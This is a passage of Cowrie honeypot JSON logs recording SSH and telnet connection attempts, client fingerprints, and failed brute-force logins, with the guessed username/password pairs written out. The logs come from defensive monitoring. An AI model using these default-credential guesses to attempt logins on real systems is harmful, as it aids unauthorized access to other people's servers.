{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:51.311308Z","src_ip":"131.161.219.137","session":"f49c44d66486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kafka@123","message":"login attempt [root/kafka@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:51.855695Z","src_ip":"131.161.219.137","session":"f49c44d66486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:52.987113Z","src_ip":"131.161.219.137","session":"f49c44d66486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40532,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3fc874b6a48","protocol":"ssh","message":"New connection: 103.125.103.201:40532 (10.17.0.5:22) [session: e3fc874b6a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:54.216846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:54.221446Z","src_ip":"103.125.103.201","session":"e3fc874b6a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:54.459012Z","src_ip":"103.125.103.201","session":"e3fc874b6a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:55.444942Z","src_ip":"103.125.103.201","session":"e3fc874b6a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:56.686455Z","src_ip":"103.125.103.201","session":"e3fc874b6a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":32880,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d529d81752c","protocol":"ssh","message":"New connection: 181.97.227.163:32880 (10.17.0.5:22) [session: 3d529d81752c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:02.379164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:02.384532Z","src_ip":"181.97.227.163","session":"3d529d81752c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:02.583351Z","src_ip":"181.97.227.163","session":"3d529d81752c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamsrv","password":"steamsrv","message":"login attempt [steamsrv/steamsrv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:03.404913Z","src_ip":"181.97.227.163","session":"3d529d81752c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:04.607592Z","src_ip":"181.97.227.163","session":"3d529d81752c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":54152,"dst_ip":"10.17.0.5","dst_port":22,"session":"051a5753f543","protocol":"ssh","message":"New connection: 101.36.106.162:54152 (10.17.0.5:22) [session: 051a5753f543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:06.536140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:06.541306Z","src_ip":"101.36.106.162","session":"051a5753f543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:06.759960Z","src_ip":"101.36.106.162","session":"051a5753f543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginxuser","password":"nginxuser","message":"login attempt [nginxuser/nginxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:07.666106Z","src_ip":"101.36.106.162","session":"051a5753f543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:08.889837Z","src_ip":"101.36.106.162","session":"051a5753f543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":45992,"dst_ip":"159.203.135.109","dst_port":22,"session":"abab1cfac275","protocol":"ssh","message":"New connection: 201.6.100.191:45992 (159.203.135.109:22) [session: abab1cfac275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:13.361537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:13.366269Z","src_ip":"201.6.100.191","session":"abab1cfac275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:13.493966Z","src_ip":"201.6.100.191","session":"abab1cfac275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftppass","message":"login attempt [ftpuser/ftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:14.035576Z","src_ip":"201.6.100.191","session":"abab1cfac275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:15.170413Z","src_ip":"201.6.100.191","session":"abab1cfac275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.196.233.198","src_port":46992,"dst_ip":"159.203.135.109","dst_port":23,"session":"85a0046a7c8a","protocol":"telnet","message":"New connection: 183.196.233.198:46992 (159.203.135.109:23) [session: 85a0046a7c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:16.906095Z"}
{"eventid":"cowrie.session.closed","duration":15.451550245285034,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:32.357528Z","src_ip":"183.196.233.198","session":"85a0046a7c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":52042,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ff77131e88","protocol":"ssh","message":"New connection: 103.158.40.65:52042 (159.203.135.109:22) [session: b1ff77131e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:33.215400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:33.220544Z","src_ip":"103.158.40.65","session":"b1ff77131e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:33.437275Z","src_ip":"103.158.40.65","session":"b1ff77131e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"hadoopuser","message":"login attempt [hadoopuser/hadoopuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:34.333290Z","src_ip":"103.158.40.65","session":"b1ff77131e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:35.553411Z","src_ip":"103.158.40.65","session":"b1ff77131e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37130,"dst_ip":"159.203.135.109","dst_port":22,"session":"64fec18e33b0","protocol":"ssh","message":"New connection: 2.57.122.208:37130 (159.203.135.109:22) [session: 64fec18e33b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:42.567361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:42.623105Z","src_ip":"2.57.122.208","session":"64fec18e33b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:42.827652Z","src_ip":"2.57.122.208","session":"64fec18e33b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:43.956803Z","src_ip":"2.57.122.208","session":"64fec18e33b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:45.397164Z","src_ip":"2.57.122.208","session":"64fec18e33b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7844,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a855e09038","protocol":"ssh","message":"New connection: 131.161.219.137:7844 (159.203.135.109:22) [session: e9a855e09038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:48.846919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:48.851730Z","src_ip":"131.161.219.137","session":"e9a855e09038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:48.981461Z","src_ip":"131.161.219.137","session":"e9a855e09038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":41038,"dst_ip":"159.203.135.109","dst_port":22,"session":"591f1b3da467","protocol":"ssh","message":"New connection: 43.173.69.147:41038 (159.203.135.109:22) [session: 591f1b3da467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:49.122103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:49.130615Z","src_ip":"43.173.69.147","session":"591f1b3da467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes